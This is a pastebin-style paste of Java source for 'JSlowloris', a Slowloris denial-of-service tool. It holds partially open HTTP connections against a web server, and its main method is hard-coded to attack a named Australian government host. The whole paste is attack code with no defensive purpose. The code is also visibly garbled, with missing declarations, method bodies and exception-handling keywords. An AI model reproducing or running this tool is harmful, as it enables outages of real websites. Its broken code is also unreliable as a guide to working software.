Untitled
By: a guest | Feb 12th, 2010 | Syntax:
Java | Size: 1.93 KB | Hits: 286 | Expires: Never
import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.charset.Charset;
import java.security.SecureRandom;
import java.util.Random;
/**
*
* @author Anonymous
*/
public class JSlowloris {
public JSlowloris
(String host,
int port,
int numsock,
String method
)
sockets
= new Socket[numsock
];
final Charset cs = Charset.forName("US-ASCII");
for (int x = 0; x < numsock; x++) {
sockets[x].connect(new InetSocketAddress(host, port));
String request
= method
+ " /" + rand.
nextInt() + " HTTP/1.1\r\n"
+ "Host: www." + host + "\r\n"
+ "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ "Content-Length: 42\r\n";
sockets[x].getOutputStream().write(request.getBytes(cs));
new ExploitThread(sockets[x], x).start();
System.
err.
println("Socket #" + x
+ " has sent GET");
}
}
JSlowloris client = new JSlowloris("minister.dbcde.gov.au", 80, 100, "GET");
}
class ExploitThread
final byte[] exploit = "X-a: b\r\n".getBytes();
int id;
public ExploitThread
(Socket socket,
int id
) {
this.id = id;
try {
writer
= new PrintWriter(socket.
getOutputStream(),
true);
ex.printStackTrace();
}
}
@Override
public void run() {
while (!isInterrupted()) {
try {
writer.print("X-a: b\r\n");
System.
err.
println("Sent Payload #" + id
);
ex.printStackTrace();
}
}
}
}
}